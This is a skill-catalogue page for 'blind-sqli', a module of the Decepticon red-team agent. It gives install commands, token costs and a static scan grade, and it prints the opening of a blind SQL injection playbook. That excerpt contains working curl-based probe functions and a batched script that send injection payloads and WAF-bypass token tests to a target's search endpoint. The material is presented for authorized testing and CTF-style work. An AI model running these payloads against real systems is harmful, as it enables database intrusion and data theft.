Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill blind-sqligit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/blind-sqli)<a href="https://agentmods.dev/skills/purpleailab/decepticon/blind-sqli"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/blind-sqli/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/blind-sqli"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/blind-sqli.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00088 | $0.02943 |
| Opus 5 | $0.00044 | $0.01471 |
| Sonnet 5 | $0.00018 | $0.00589 |
| Haiku 4.5 | $0.00009 | $0.00294 |
Grade A, and why
blind-sqli scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \ Copies of this mod
1 near-identical copy found in the catalogue:
- blind-sqli — 95% identical, 1 lines differ
How it starts
The opening of the file, as written. The whole thing — 214 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Blind SQL Injection — Manual WAF Bypass
Companion to sqli.md. Load this only after you have:
- Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
- Confirmed sqlmap with
--tampercannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.
If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.
Confirm the oracle first (≤2 minutes)
The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:
probe() {
local label="$1"; local payload="$2"
local resp
resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
--data-urlencode "username=${payload}")
echo "$resp" \
| grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
| head -1
}
probe "true probe" "x\"||1=1#" # expect: User exists
probe "false probe" "x\"||1=2#" # expect: No results
probe "filter probe" "x\"||SLEEP(0)#" # expect: filtered (token banned)
A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.
Step 1 — WAF token fingerprint (batched probe script)
Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).
cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}" # outer template; {PAYLOAD} is replaced
probe() {
local label="$1"; local payload="$2"
local body="${INJ/'{PAYLOAD}'/$payload}"
local resp
resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
--data-urlencode "$PARAM=$body")
local sig
sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
printf "%-40s | %s\n" "$label" "${sig:-???}"
}
# === SQL token sniff matrix ===
probe "1=1 baseline true" "1=1"
probe "1=2 baseline false" "1=2"
probe "WHERE clause" "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword" "1=1 AND 1=1"
probe "&& operator" "1=1 && 1=1"
probe "OR keyword" "1=0 OR 1=1"
probe "|| operator" "1=0 || 1=1"
probe "IF function" "IF(1=1,1,0)"
probe "CASE WHEN" "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)" "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)" "MID('abc',1,1)='a'"
probe "ASCII(c)" "ASCII('a')=97"
probe "ORD(c)" "ORD('a')=97"
probe "GROUP_CONCAT()" "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'" "'a'='a'"
probe "double-quote \"a\"" "\"a\"=\"a\""
probe "hex 0x61" "0x61='a'"
probe "arithmetic boolean" "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 214 lines · 88 tokens per session scan A 32766d4e6ba2
blind-sqli is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,471 stars, last pushed 10d ago), licensed Apache-2.0. It adds 88 tokens to every session and 2,943 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
api-crud-generator
A code generator that creates standard Next.js API routes and an administration page from Prisma models. Prisma is a tool that describes and accesses an application’s database.
msbuild-antipatterns
Catalog of MSBuild anti-patterns with detection rules and fix recipes. Only activate in MSBuild/.NET build context. USE FOR: reviewing, auditing, or cleaning up .csproj, .vbproj, .fsproj, .props, .targets, or .proj files. Each anti-pattern has a symptom, explanation, and concrete BAD→GOOD transformation. Covers…
run-tests
Runs .NET tests with dotnet test. Use when user says "run tests", "run my tests", "run these tests", "execute tests", "dotnet test", "test filter", "filter by category", "filter by class", "combine filters", "run only specific tests", "integration tests", "unit tests", "tests not running", "hang timeout"…
fastapi
FastAPI best practices and conventions. Use when working with FastAPI APIs and Pydantic models for them. Keeps FastAPI code clean and up to date with the latest features and patterns, updated with new versions. Write new code or refactor and update old code.
dotnet-10-csharp-14
Use when building .NET 10 or C# 14 applications; when using minimal APIs, modular monolith patterns, or feature folders; when implementing HTTP resilience, Options pattern, Channels, or validation; when seeing outdated patterns like old extension method syntax.
optimizing-ef-core-queries
Optimize Entity Framework Core queries by fixing N+1 problems, choosing correct tracking modes, using compiled queries, and avoiding common performance traps. Use when EF Core queries are slow, generating excessive SQL, or causing high database load.